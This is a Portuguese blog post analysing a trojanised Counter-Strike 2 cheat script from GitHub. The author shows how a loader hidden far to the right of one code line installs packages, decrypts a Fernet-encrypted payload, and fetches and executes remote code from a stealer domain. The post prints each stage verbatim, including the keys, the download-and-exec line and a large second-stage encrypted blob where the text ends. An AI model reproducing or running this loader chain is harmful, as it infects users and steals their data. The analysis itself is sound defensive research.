⚠️ Disclaimer ⚠️ Antes de começar a abordar o assunto desse post, quero deixar claro que todo conteúdo apresentado é a caráter de estudo, qualquer código apresentado aqui se usado de maneira errada eu não me responsabilizo!

Introdução

A quanto tempo não escrevo um artigo, acho que talvez nem saiba mais como começar rs… antes de mais nada, k33p4l1v3 meus amigos :)…. pra bom entendedor, meia palavra basta!

Motivação para a Pesquisa

Contexto

Recentemente eu e uns amigos voltamos a jogar CS (Counter Strike 2), e eu notei que não mudou nada quando se diz respeito a “cheaters”, ainda continua infestado… Então fui procurar por esses cheats para tentar de alguma forma escrever um código que identificasse esses jogadores durante a partida, assim daria para manter um jogo mais justo (Já que eu tô ruim pra diabo no CS e jogando contra cheaters é que eu não consigo mesmo ahhahaha).

Resumindo bem, encontrei um código Python (única linguagem que entendo um pouquinho) de cheat e fui analisar para ver como esses hacks são feitos. Eles utilizam um mapeamento de como o jogo se comporta na memória e usam o pymem para manipular a memória durante o jogo, criando funcionalidades como triggerbot, aimhack, wallhack e etc…

O código que fui analisar parecia ser utilizado para acessar a memória do processo do jogo e renderizar uma sobreposição (overlay) gráfica na tela…. o que isso faz no jogo é desenhar caixas e linhas ao redor dos jogadores identificando aliados e inimigos, utilizando cores diferentes para cada um…. o jogo no caso ficaria +/- com essa aparência:

img

Só que no meio do código, alem de “hack” de jogo, tinha também um hack para hackear o hackeador…. mas o que chamou minha atenção nem foi o fato de ter algo escondido ali, mas sim na malandragem para inserir o código. Quando olhamos o source no github, parece até normal a primeira vista, mas se fizer scroll lateral do código da para ver que o danadinho deixou um brinde para quem quer ser o sabichão do game rsrs.

Para permanecer online, deixei uma cópia da pagina no web.archive.org -> https://web.archive.org/web/20240730041535/https://github.com/DanyaGrins/Cs2-Python-Esp/blob/main/main.py

img

Análise do código

Neste ponto, vamos olhar mais a fundo o código do danado para entender o comportamento malicioso que ele possui.

Dependências e Instalação de Pacotes

O código malicioso que pode ser encontrado na linha 135 executa um comando para instalar uma série de pacotes Python caso não estejam presentes, os pacotes que instala são:

;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'v44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg=').decrypt(b'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='))

Esses pacotes são usados para criptografia e manipulação de requisições HTTP, o que é suspeito em um código de cheat para jogos já que se trataria apenas de manipulação de memória.

  1. Instalação de Pacotes:

     os.system('pip install cryptography')
     os.system('pip install fernet')
     os.system('pip install requests')
    

    Essas linhas utilizam o os.system para executar comandos no sistema operacional, instalando os pacotes cryptography, fernet e requests via pip. Estes pacotes são necessários para a próxima parte do código.

  2. Importação de Bibliotecas:

     from fernet import Fernet 
     import requests
    

    Aqui, as bibliotecas necessárias são importadas para uso subsequente.

  3. Descriptografia e Execução de Código Malicioso:

     exec(Fernet(b'v44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg=').decrypt(b'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='))
    

    Esta linha utiliza a biblioteca cryptography para descriptografar um payload encriptado com o algoritmo Fernet. A chave de encriptação é v44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg=, e o texto encriptado é b'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='.

    O resultado da descriptografia é passado para a função exec, que executa o código Python resultante.

Descriptografia do Payload

Então… bora entender o que esse payload misterioso realmente faz, certo? Primeiro, a gente precisa descriptografar o conteúdo encriptado pra desvendar o que está escondido ali. Para isso, vamos usar a chave de criptografia que foi fornecida e dar uma olhada mais profunda no que ele carrega.

🔍 Código para Descriptografar o Payload

Primeiro, importamos a biblioteca Fernet da cryptography – ela é essencial aqui, pois permite realizar operações de criptografia e descriptografia simétricas, onde a mesma chave é usada tanto pra encriptar quanto para descriptografar. Abaixo, o código detalhado:

from cryptography.fernet import Fernet

# Chave de criptografia fornecida (em bytes)
key = b'v44Z1uV23vs38mQrFBQi4ivVXX3XjPQLpOPPpZ4ojYg='

# Payload encriptado (em bytes)
encrypted_message = b'gAAAAABmmDpjXYZCoXglFlqphHh0vXlJ5qEcYVZ8MytOTipuGiIOJBwfscYJDn-Z8MTtiHD5qfkHIODxxLVm3mVbdmBvx5DQy79Eqy200-vSoAinkzqvo_IIt8vZN_xjDKoWlcWP5SmmD1gt7YyIaO5G3vFEb2pgA_V0Kwt3UjoFO3eWaEDZa0OKkr0sPgs3-QoLtiBisbvSjMBWgcRcjmhV1WXvIcd8fg=='

# Instanciamos a suíte de cifra usando a chave
cipher_suite = Fernet(key)

# Descriptografamos a mensagem
decrypted_message = cipher_suite.decrypt(encrypted_message)

# Exibimos a mensagem final, convertida para string legível
print(decrypted_message.decode('utf-8'))

🚨 O Que Está Dentro do Payload?

O conteúdo descriptografado exibe uma chamada HTTP que faz o download de um código remoto e executa ele localmente…

⚠️ Atenção! ⚠️ É arriscado a execução direta de código externo, é importante lembrar de remover a função exec. O comando exec executa o código retornado pela requisição HTTP como se fosse código local, ou seja, não tem nenhuma verificação de segurança ali.

exec(requests.get('https://1312stealer.ru/paste?userid=14').text.replace('<pre>','').replace('</pre>',''))

Fiz a requisição para visualizar o que esse endereço retorna sem a função exec para obter o retorno. Gravei a execução para observar o retorno.

asciicast O código retornado vem outro trecho criptografado para evitar deteccao:

import os  
import sys  
  
content = """  
import subprocess  
import sys  
subprocess.run(["cmd.exe", "/c", sys.executable, "-m", "pip", "install", "fernet"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)  
from fernet import Fernet  
exec(Fernet(b'2QhByK1S6OiSYyR0ieLjajwm2T1XwQDJFsQ94U7f5EY=').decrypt(b'gAAAAABmqFtEmwUvBRd1_LdcefS-hZSCVVRgnFntSYrlOtDj-_Y7Wvm23UPUlTPNdVW5TnJxTjRsaFMwL0P3UjbivSuBLRkwfbNu0-wNaawLSlRupTOv_9UNMM44FdcC2X6UhM6UJmr3iuNOlO7B2xdLYtYYpSpjEnIYTViEKfV5Q2WByVfvSwW5O6_ZSao2zxpehoLq80M7hvC4pEh_IJOC-cKsGrW2I37-oAsNgVseOfq6j0mV5l-2gloaJ15A60XGI3C05a5C__RTpAAz4WRbbUmNsxAHrx0J1h5rSSUIHc0mBkIWVPGXfRzHs8Lu2Z4HF_MCJo8df9QNGOWBH4CmMUglUhQwDAkEcz7RV1bCjQ_Hd-7wE9mCk0HN_LnNCy2RDVy7NNY9Wi4-oD0Q4CiH2cfpGhdpb5X1sDXlxqJzdR5ABqr3b6VrDBXK8xQ-4TYJjASOOXFrAIE_DpLc4rkOBGV5pmWxqNd78uManin0CwPi_VTa7GkKrwr1XUcRN9y2zUSsHyIClZYctbAyY5XfYBv5w1CSvyJ0Je7hfNa3lywPzE_csZ86oBAxlREz9z1M9dH50m_wMtdWydd1FcQrz7gx_0lgenIsJRNzSGp_6kddCUiKh6DHpEmkpoceaHVILy2Uqxb9rK3ZKU-3xKiRVeC_e3ehG-f-VkcaNezlJv-DsRpDm_-sO793pNJYYKgfslYLDttZJcVIlZtxSQy3eFQ-Gio6Gbd7NcVSS5Mmzx9lh1N3nmlAXWFXGekbfPM2iaGe_zmZQbuF4-sLWO3cxf1QeLYHxxSH6pO8NQL3QZceJ89GhlTNIyAW2YtLmjRUNS-ymp1fSRB1YiJWrylVJcO3PyvK_WfDCbmbU2z9qmV_F-vq2SsMBhOgtSVLeJBvy3x9zhsg4lbHIEVkmqf-UPxDvgnEvSOhvBwhabgNLZll1d_gGJgRL7H5O5wPItj4sh7hSHi-nrn9YdlVNgb2BEgtMsS6kBbWnQdUb75S8Lo0cqr4GuCzBno9yk8rAuSlX6WNLJ8fwatbYGJmnXkStM2uKWTxOhHRvJU7oMzpxlI_AfDr0sIbG1ejOGffCS-cxdkp16a0VVQDu1YFzpQ_ZBPIfvzIqbvJKUEztPpYGT6WqsRJUYrmIckHVfPWuTEyPjWkHo3QzujVPjE4zmwFB2VRLTf0eGAP2xXpWSj6DBJ4tYgzFdbp6Vj82P7DCU4zE9kv_tVmqD65WDvoednyp25nI3TyI5CAbBAJeOuH8gKv13rS3so9bC87lm88aHxRjK-erwKaQiivDhJMV-YlG3F0m2fDmEzvQdmZSQTxel0lqUw25hNemMRAiwr0zvLltWM4jDdks-WPNqH1eVCGYQiKbwuSoT-nY-50uthSAXlwDBKaUBaID9xKhQl3zOzi7CZinu84hQchCR2D-mQ8FO9xFOwhT16uPlFoB7Fe7k5xZQEvP-wnmvE1Z3IROZuh0tFdYzAVmRglVCuY_TLc_MZpIFKbC4QKEXsCOfsDP_G1FqapGKy0fOStTogUQAH2H2rrfLVI5IOQH-ofdGkwQ459HuY7PwzSVjD5E0VxpKGE61gEZJHij8W7fhupgyBnFYEc32Yxp5Vz2julDAaaA09ytsxLX4MUrlcQevTvRCHjH_rcfRTnK_z-FtbUPjesKvjC_tYqLGgJnx4q1Y1_2I1ja6uY5TAqUZryhMpcKgouyoRDgZFaZ0Lg7v0jfBNQQqIAa8vhNhXxAAOq0InD_TEwNrW0cvvHtd1eba2ZoNLw_B-JbaukAHT_3VC_W0dx3G9YSHwzuWbIqvrZRao9c_TRdrfewepuL-IwqW43jcpZBEZqwrF02y0GNpb2tcjHLwFLpqySkiB1RKKdbXkTWCQMs3wfvSB74ViJgx3-qDlMyyYGGU0d_80ncnloOvuQcOIblwDpp9U9zrQANUrUFxy7eJvUHi6UjrxH5c0Ye-Tq-MquNjGgad5cMw9oq0BP8g1eoxKzTMrKjPgRpNWAU80jJGPAG5YJXKvAZAx7voRaUjMsyqWTvj_bjxZFi-6dANAbT-OsSPOH861fhkD9haIlNBTwpsVVyfnjxON0zkiesklRHlEAKRFNR4pzEtcGGC991GQ_EtJ7uA467dhEciopcl7yWbYpJN_EUFENQw0Q-RkTjFGMx3ojpPRW5esl4mYhU72eEZ2uRm2avIXpDGMqJtbwwv_NIG4D6FA7ldNKQqLdAd3xucS66dZw7rsicX6BkvPpaN54JlCuxClonHccu7BDS07xleuR_gJWMUO8aZN33YaryiDSMS9NwImeIAqxVQi8-vX94D0VYRqpG24_HNBQKbhfg_KmGzs69w61zkDzULDpK_8REknl-Yqz6V8nm6NC-sDtnqBqacgV83SLsj4ySfy122zMxpmCdYSdwXU9oG56WfIkg1i4hbeEG9r72sTlkbYwHrHZ-1AkKMXM2G9xVIdvLQ_rWA4-w6IV8BDLQNZm4ZxWpQbdcQb2B0UJKb3FqGkE-WZB4oWJ5UfYx7q9FxCF2vTKN13gIjxUv_Ho9aV-fwLgo06zOTQQ_tVFGpFsvMExgS3bbNjKxaqtzpspKfhMiwOlgPvM3sQqi1pSgIo_9jMGi4bTGDPjBgzB5B-WLSYBHrPTaxcZRZGSbW48cxf5AmJQ9HgVzL3AJuiq_9fEWmmJCtHiif9ralg75znbjbwDzKvywWF8ySUcECNsLvaIRVhsxmgkzYN_DKcIogNIMLU9LJF_H_wpAYZ9Krwlm8JUoKfHyUKf_zRG-c1AVTqaQ2F38y3i0PqE3YSO_H3xvlEpgknp8mvrO72SlAqoPH6qwVHj99yhaEQ9y91bKUUcOCMQ-dW06CYToqkiM6hqmgI5eAQVHG7IDvWYORivGtHuctZDzsBQpxNAMyLTbq28-u01BXZsIOpqQJ_Ynz1lTiHvn8dOyHyZm0Ygy3cG5HJMkbxiL05RhWocA3Mm0dxCIW9ObFe2STlNHBDdJOUMB_3swFDQLC2sXNWWIKBO_Y5al2Z2RTCCBEQ7yOpPS2fa134uhVU1JoR0wVh24ArNt5G_Ft3xWgxNU3_jsuwYWUA3ykaxE2A7b-20g-AP-i9KuGUjknl8wt6JuF-6KKg21kZ9Lca-MhOOYVaM8bUxmNqBxA-Fb7g3yXMU_I0KYBZ8iz2pamsr2ViwhdKFEAsh-I1jxpH7NY9uuLAb4Vjbwne0Vmqqr8uLAfHNwVG5zOvg4Gh7lorz-jWHwYNwcttTEhCTTjAwWnatCctZ73PjSaL4iQHc6pP5mwApMGfzhR5z_FiXwRgg8SlSzj96yuknknq2tfjUhPPkxw-lmDsJhMDKfboJef4u1EmtA8ZT9pesgtBjj5WSakvtpBTJnWfUwYy5xnAMPBTtnnTLrwLsQyeFn3qNU2FV_B_cf9bPWoW_c34ThrDckms3xqhS5pYIcWKxqbkPpoym3JM7CCEC6mhjry9i1fMWlZtAJNB9kMh3aEDLKSf9bCHjKoX260R1XiSYAA5vDqye_16_dBvtDXydxNV-Dsm34IXM28aAK8Cf_mCgrHjObE5r7iuQXQxuwrXMFLv7SnZCy0kqoYNpNW7jaBj6UI5tBN0I55BuRkNyBi3eTVJ3jTUk1E6u3Qqw8uLSvEquWrIWdAFZY2szaoZUbzqp2U5_kTMVK34An9NyhdKYENDGaA9lqWJeJr4LEBDCR2rb4bZSKSToibgtxSZGKXGQLTmEHJKiskS8wz3HRIphdfyeiLY2M7A7Tfcl2xYQSqXcQbkJmvcnw3E6Zr_3rR9x3xGqT7Hzcwr0HagVlS01Qh0Kq3SqnAwzD4lIkayPlG64m7J2X463Y7J61XX-h-G1S9XUUIiGlLYsyVfhRjn-BEA2x2Mx5d0ihsoowhKivrLbbF1ICR_Llb0XVl9rSLlbuDE3WPpj35XzNPSHuUTm0tfXuIBGIYA5RwJWybQS4fTpNYErvgLGGxt9QFliiUrS3ps_Q4RdLThp3to9QZ03U6yJu2__URbkJkGypQBJOUlcrmradTefVNWpnp5acHdIuFaYYs-m3Y46eS-UPjZfaXqclHQqxrZKsXnQtHfU87M20UAVnIQAg1Sxu2TufI6n8Ut8kIhxOjx1i02h1bEcqlAXkpOlVJjvxzyEV-JiBQ2wSFZFPTOiJGkxMawneUpSkfsT9e3K0tqJ4adadJwWgHKATtiMnHdDUzYh9hmIHDaGFUi1E-z0gX0V9EN2jMuHrjhnIQophDQ2q56gDmBlbIcV-QlXTVqz7Ej_K0-2bgLI5S_biaWF1VhyoZS6j5ncGaVa-bQcIWbqnbHUfltH_Tc2CfcEElNjuMRrIwbXA1vJIJY8_SR9pzIC2Ta2YJmhmvpzHlWxlg7z8c7gnD3DtdcavpqFMGvaZdRn3G4ka4euyBaxilZWVxKoOlcwEP31UrT0mPFO6Afm4MD0SNRlcVDPQFQ1Q0bwBgEf49JgkhgbhNKDFBWdti2IqQ7ibGtl1O7BT1hj0SNQJkZVxYHq8bAC-vEWRC0pAE0LN-6tbmZ7OEyYcIH63Y5M6VXBgAL1Wo36X9Zv7uvvpoCJvbTnLjOPkh9E7lyxXtCGTvDfsCPA9x-6bDLDtG20NHuaRI1ZrpomqE3d-s2u_HqpG_cBm_cECOpp0pZEs-h0x2W3kgWG6tIiWPfflKc2Nlutbav3FzZQpwDqezDkeFaEHPY-kmmQ1kHSb-zFyOhmlx4bJdGroolmmnC47KUzjls6vkf4_og5tslM8Y547RxwU2fqJskkpv-I5yuHb4YUZX2byUR0C27aQTAw1N_CRzjRueDmPa8iGbQZu-rJZZYflIEg8Um1YoL2SlvF2apzuuMhb2nV1WSDIW7NtCvVrHoW2plBAr2cYTyMZu1mRRyyrmRkxeCwokPMbAOXXsKMxIMzZ2xQ6rV05o45MU6D9nrK6JUqo2RirctyFVjAw-beD08D0quNrqGqc709TSyTd-9__bfLxJYR1Tv2k_DCa9jeRzTq5W90LeO_MtYRj902YAFHog08jarC1GB6z5d2_SxidRHCPWwPfsicdVuT5yAgrmMECggX-mVVlHnfhsSWYzrIgK8LUolGTivqwrjdEiJKb9XHBt3hc3j_HDi6cLBOB1pAGSMtiRaHOpGwvnSR_rnlr7awQecDvRnttElSQkZx9DU5WOR9wFwfW9GOOelJjRywPAJAP5MWxuBhpZEMj9HinM_CoQPIWuljZzDln5sogcn2i6C39FFCgpsEvA9rit3STJK6SrFypKtcVVzahDdFScZS3TXhQsmFNkVBFOcu63cpnn8PpKc6b1AJ_gZRDvzXaRYjOp31gThR6nXhgIMmem4FO8jW0iESqllaGjpij3buhlqqhI5bWQcIkFFww7Nfx-ObSFS8frJsApT4iIkITvFPJ5Vv7UiEfEpGygBHdgcpeW1VMH_SXxk26Lg6fcLEhd_5yvAq6URxTPpJLEppbVBdZ6qvDaRx4bE9qNjD-OYhCCG-1eCmKul0KHmJEbSCuPmLz-IB0s2oPdbtLt13Rxfj_aGwYLxjoTeUn3eHcq6XYH5CuZvwBJU-Mn_fhSPvb11SQFunYu9LGV4R5vxDn_JMshhPAlwi9W10TO2P_w2xg4Hb_2Iumy-f9qHI3-CCWX1lEoMNbs2hgdK9lRr3Hp0dOEUPxcyslV_-JeMbGE4kRWPnE6ZTElEhcK8GAm-5rMtNb_Cw0vASTVzIn_qAAOQcCorR3IImAGNwGJKTfnM4NhcvAWYvPIzhAEE_7ZUvv4SgxYTiKNLL-QBT8vl9plPDetBwrsPq5-NsXgY_UJNn74jUcRnNwHifcRVx20vSuw02kwfXOYaQI-NXb_AEdAoOCOminHT6yPImTdN81veBxT7kklRpweLDlwaomb-mpXq1uc6951CSQXyf6eTuU-ORLwB4pQtzOHooFT287OakLOL6NS0PcotH2RHxe3skWfFGMZhKp4qhhQpG-hN0qERaUOUcm1tx0obsalAwQeNxeodRpZKAkmpmRo5evroGRo_gvbjFZjGMgR8z1tTV6s1IXGAfv94WXsFXUTAmUpaiyhwB4xgC5i-wpSL-LkG9ybhDnrdUZ7wesFmf6N4wwFDMWrXZigSj_NYTo4c6wAY5aUkBZ4tpD1bI3zmuOvYPe-dwuGDUC12b3DINLUzzHz3EulG4Yeig4xhkDYSQ32kbPsZ_crANEUCkjsB1Yn7h-58O2Uzd6ghZDP-CjE0FZSylCvedG6EZef9nzj6zUDfOf-TBSjKQkk90vQdon699WEkWh-g0X3bkpaNincmme9tENIuL0mzQpTSw7nSRSxPHFAU9BcocYRaBk-0dBXhYlwT2P8D51QcMV47eJpZxEcU4mD_cZUENxEwrSnwZsDNpsCE4OyDhJ05tIQoELP11vsiS1C5pKcpuBEhQHIZqUkFfT5Zj3KwRQNFXEWBsmzLZcPOxJ0LCWc35elCkqTReslULdZ9JiSR64uP4j12OZUNe7OUAUTO9-Iyai-bOvZxkU6H1u7Eeva08hlSbTWtfKGoEZxQy5GlpxWWTTJ5HDC5uvI5DzyxMumtBavGpm_cujEwcnEcq-B8mPRkvA45pBjBCLbJx9VIMQSQWh1LzIdSJPCXtzXageZLWAHkPHf-v68SHn55CVF-4kqefrrQqT0oWhCJw8UpsQDsfREXNE55mVt7iPZkbR6KgNfm7bbBXH7nF3KM2HKKUwyI9KfscvjkApKxdpQv5cViA22Uji5SWBsHO73Jz2nPSl2sbh617Q0demooHBGEfyE8IKzOPoc15Qk2s-d1gIhdNDYWW-NT1N3pyxe8lcpdn8dJzAVzoA9lNlQvZ0bh6drKv00wd4-ldGw28i2SDMNCCQTMg5sityju6VenvD5n-RWfJu666sdT5l-AJ0YJtnpze7Ma0Ox5OdHsPf6O6x838s_ZPqH-qTv9LSg3UdBr680WiqiQ1f-HQ6FNBcT4Ka6OSi-0KTcsWgPxPkDUf8wCtNsfzQhigDgbjkL7NZKlZosMr8wEFMSYJWNmdrcHdMFazign4r6xSFmIHwrgGaQZoQtLrrWo7NOTFPBWUwLlSmXB1TdPGrnAffgmmvMH-zahhIzM3Gp5Lsa_2_9PxP8JQaVF_jJQJUNJKLa_VQNl8-Bl_jtzWZOFYY0ZzsKDICbyYsDMyQ2WJaWDcnzTLCexA9JpKIHnRRt8UzxrL5HNgN_RhclV2aQCVMhThpH1fXTIUb2Jgs62ytpDWW4VrqKrctR8RBrXVSi-7fFRT4_hwooUNwK13xOun1cmtmDrH7_Qa5xEODR0cehLNzGLxnMX-WRT2mw6mOYJaLPVML011S3mlUce5ukk55b1VA0YCr6wPyAjAJEnBlAGWufWimiObSgOmfHV9nc3ZCs63Rjr83JgHEwAxp7cyURwQsL4yz8ObAc4TWvB7WoxQweSIXgw549lPbpYDPGEoo7vM_PxBHIXyBwnALBDqHYVE3tsw9d2Sn0rrzscuMkwRVfJVPECnooXsIeCmGmVZsynaUeJ-DU_ctQPG5BC-iVfVLYEIKmWdCzJDuqJI4fD3ou7szd6-iw6l1k-2jisdON5OgwNrR1siO5xcN9zVtlbB99ZEOJIpT1-x8WF0XoIfFMARELYUBkifESPwSrQAr7NqX17bT2TIewariwC-g60WbVDKI5jwM82GD71JJ0lzxAWDAWWrzkulAZNdrSvGEG7eQFgx92XQGthW9xoWz5ET7bLwtM4cvQPWxGP16gO5tb4evix07pAOL2fjI1aTaY9cRjHKzTvZdSbP5ekHuqUzn1d-db2QvTOLR1dWIBi06faDfHz42kMJ8JzrgungLmuK8AzlewxEUGjpoXOhipxStEHe4wpyku_wV8P_hKku6EQTHMEH22SPh6_ZK8Y99ElkFNhdCFuK3OufLeCKcr3CqsFd4davILeZAlL-f_4yAFQwZchTTF6EHgWfGTyaDaydPPO7sI_esNuENb-bRWPyf3TIg57_Hj3HOwfO2zy9aCZaY6tbYvfsSHXgg84_oprSjgkEESsTP14YRnJh8pZRpB57ZNOi25i_XeYJmFjW7GBwRh4VNU5X3AfvS_g_F7OgF53UvNnYERYoFI1rYNggGmN6rokO3bucDkoW_TZQvcj8Zc-kQp6xQzZzNiDEcXbtUhUF6KRfHulxYdO5HQs6ZS7b30dIktTQ4riGPKhL8dO4qW-VwMaijqVM4bGEbSYS75e1EvOdXmcNYbL5_9OQJefXWpnntoV00jMY8sfIHriXTboR0Yji6OYydFnZvLtfM_gWr8gnecplczleJcUX6do4TW_9kpcrortXfwCEJls66ZZ4VgaIH4i0cg25e5w1lF0U_ICcHSqYb8jy4IiD51yRp8D83D8hOpW8NAFubvuqpxd4_fjr2yN4H-7v484THr0PHE1AA8-CLf_1R1LDis9sNzCPP3gYKNnEUapp95WolWeZ6bqFGZjZFbeIsp3oChT9RgH6BZ4hF3XvtE0Aw7U6Fo-jWRxR9xGfM0-Icwws46fydjUSh1LKhlFh2KfWRFyLo1WlbwfeS_QmXXJE7yH-FmiwvhZ6E91Jryi0KQXSNrdW0CwiyNm8hNHPDIbv_IhdooZqdanURexjqy3uFBj-4iss-5Toh9q_fQ6wF-OOtPfOoXnArOsvY0o7J5dNAQaUBwvpa1JzHlO26eqpHXFgAtK_YEEg76MnirwAhBbNXz3myZYwR8XImG_nuUHP1qHfkTOlrgexiSEC_FB7UR4vR58YBIoe4595pmdSrJ9hp3YydnLjRItWzjcJMC9znrxUflhszA1tThjW6zi6Xly1RriHjY0HTHCmbdjWYfrzTLZEQb5AjPaVsINglF8RLS-NE_0IoNQxPvFk6QOL0Giqa8m68E6slrWWP0ylvAC6PwMMGPBkpf1q2qL3LdmbSszGj6XN9UQlnahOGdzHF6lkqAehVcHTlnBAyVAojawh2vZ5xIG11ZsabXz4dXWG6EhbsBU2z7D7ZNcuJ4cy83FOsAck2APq4XlPaRL_YzdboQLhnZ1Ap305aucWGSndZJ3B_lvUxJWg3V3z6sZmbO7LOT5hkv9ffhluTnI5sPPmfYwFo5PZkK6GsYsDaEw1NcQexx5poZh1a4W_ubu0fbqRkI6FqWKpxpD1f8j-61tcpKiinVg_wrNFDillCmqs0cB7riKH7duFvaH5qgIH7uiaZTYMnf7zb_ZA2ZBYMILSaSS5mYTVR1nT4e8ZC7D5ct33q0bOot985oP6aDwH6PH4eG2GFnL85F9tza8OHHX9Hr2af-W1HNKocKl8TSlWUYLhMv_xWAnt9wMwjEomL0JW0Qwc40Yy-ZajLOBFs31aJCCxQR52IbjIuHmsRoyYqNW7CsHIsRoaI0qzlwHzjobVmJFkrUnAwakYko3N0zn-nStCTsWm_5TSzX5baxMd9ZsRc3TocVQX1-xXxmkWrFGa3X5-eOg0LPWvegNYABVGd-02xPexkdIskIvZrtfebM-B_0afjvH6VHd-Kb0BSUQKrr1mV6W3_twrXxaLnm_GBqnzrYcIoVycumnhgZ1uWuKPEQe1zC18AJjEi-ARhJkEwcnywGbtYOvUyoFZpDcW2qtex_JfovDJ7lG11Bj9VO6g-JaybPjv_SI779jPV5O9GnXt2RIInlOhK-aZouex_EipLX4ybKkf5nZGtm1wSHfzuKoukMYlnsOulTHYvhpx1bn9LbyH05OuTtRhef0ut_dqhZD2vBKVeqPzddV4P51tUXsxanfcDLVk0v8HsdlMksGcga3ECOyvRZJkz-cTJxyjfHkK1BgwYXhBTMV9N0TD9WFIsunpahpy09EYcORS0Cf3rchO7TaC7BQFcxt008P11delNwn3FiGL4q_MVXy0zV1IsQBQHX4OQsrDESn_LBPETuGPzH1MAzywI8p1Ak5GD02Di0m_hdOVYj6YJS5sagxtSf0fr9zzVuYUEb7HcJQxHK0jP2whT1BsuJFAlVe9hKzyZt3d5OFTdpc0cuWA3M9mz8wN-paezBBElykqmBmW4UoF3cHvJ02g_114cKbcpQITEgYjV7F85s-qNKd2886-_wvp6e_sJNtIHsq6ZxAMVpYA79Xny5cKp_u74RGJji4xVbPHeDVFXqHgi6CW8CprgFnW7Ch98FUuMgIXsS8CVQt3LIV596pT8NjKDBvo2rN182LEskTLOKtPbHMTH-Sytj_5pcaMVA5TV9ENPJXgWt8dQl0AWz0-zMlAy2mkbcpErIveUx1ZXNr_4vKv6x2CRVfG-3Bvenc7VTOHPAnKG_WfP5ce5sdkc6yfTZLb8S4Yfk49asmODlKEhjuT-tIeBIrw1n2AdxcwpJpwPw4bIlJq8wD-_KbHPOfCl2LpLlHZNECvukayAdsvL258iImL7PeSHISPXLcANSHNiC9ICE1FDPvbZo2sw81H4DY_41PLh4qAZ53UaGTihkMd4H0mSmU80Myvsyf6qzp1cpo0ka7LZHpIJp6l3PVkma2PKksOGGLxzPlClq9JPdWxycTk1PvlgeEVriNQnfM1s_0j-gLrb8kE83TxGF55S7B7A1ZmKRnr6GF4AYWO4RI460ukh3q2xuuh_DDYxTjIyZNB-KC7BGTrqtG220nkgI7njE9bSeX1WGrJOLAsFNBWfKvnC53a1xpqr-L_aUxjT1tQgGciFIq2k9DHg2BKG6Xc0iSirpCA5tuMkA9vmt7kwABBs6ISyc9wVmZJFiHWQ34Q0BR2GsGpoBYFPLOmXPJB1L0BMuhA44_xc1azR8PF_CJSc9q9HCbqxXCLQ-w9SkV3Pzkm2haA9hl8FwDRLAgc9H8_vxCQ_YMvAiiqy_dnhx_drRB1TlzQzfj2F8z5WFwD4s670njPQmFWaYmTWxNNURf3kg2NzsVUO-XUghfgh0pcJi6RzTWCqTFsHlwPZPAsImPIrzY9VQxsbDk88oD5ngwPEatkGzlLvBc4pBO5XJ-mbRsaSBOEgZQkNm2FwTVXscrKgbOs6fI_2SUGsWdDfqLh9NGeGRbt79HklEf3XzWBq5xMrIWeLb3U6qXzQALdrYm1X3iO8q7zzucnzpx_2BuDKDJPqC92pVQY8YMpYQTwL7Xd_V3h8haQDCm39vPhtGz894ZoVCL73K-XC1Zz98zA6QR7P6BcsjQewm5WNrM4dE8lK-u4sWak72NCmQgZ-vRXwjS9Ta6im8sNOO2mSyCknUnMtY3vz-CwLOOvQiUNXXQ7iec5m3OHpB2GBn9eCPkr32z7ueXno2GQLsEHQW71jz6nHRmMAnJvNs_j4R2S8jAPvvJaBGyEsONOatoXhvRpYRTGEove_jimUnW3wN5xOnyiHm0TLFh92knePRQ889IMof50nhD7pDO0WpTet-oov6w3stWpzDm29Czqdfegg5sstKaP_OKnr4yx7wdaaFFLwKrcx553FJJpFeHIjw3VUdKL4vtOQOuAPM5eGhkDm6juDL7BMgstAa537vZsR93ulKw9AmL-iN58C8Asz7fLCQpAAuY_YvSb0Yyf-1ogUUOZIixrLTS6FTVOvbErGPZm-_gC2_a7zIlPMbbV1xZ7qFmJOAo8hHpSz5WN9-uCEo2uGLZAUDBsYPwqqVUWYMhJ19Is1I18SetkZscWj-r13gf1TZanFvq8NoCZcDJBlEosh1Qv_m5x76JRK7r57rjE50ogUHR6LbwK0Ocj6QA1eAwBb6JTNaszzW7fpiNCUT5MOzB7l6UP5RGHYrVUjnh6Lg0VN-mvj77xNbyeSeJVOFCWweer4IRUXcIM5DqDmJeHiWc6IyZhMcnS-DGj2zSvDiboJyKIlpp8btmDBqz3ySwRfyXHgwrnPvXewQH8wPuF51g8LZz8WuJxmoecsX-eT3Ey-6ZTsa71HyeQbXmX1RyvPPhQjyaLc0trJX7fTx5jjrDEKl9Gb0uQPBD9oSmatwy06o8wvY3kK4nD6Nw47n25E8ueymKViEHt5d21lwFzR4fopVWXesie3oICY947VXoV88g9LVsfUbam5_LyGRG5NAJPNY0jRhIlZr1Wr1dKx1A2oe8ZCaLju2_fXIdGldlDLs-La7KbHnta90fMGRTGitOy6erYfY0mwo1Qlt6gy8tZlc3t5JsBQb6dv5afT3VNC2sNaU5gbJh767zZPZucE5M1ENGcuafvXqDyu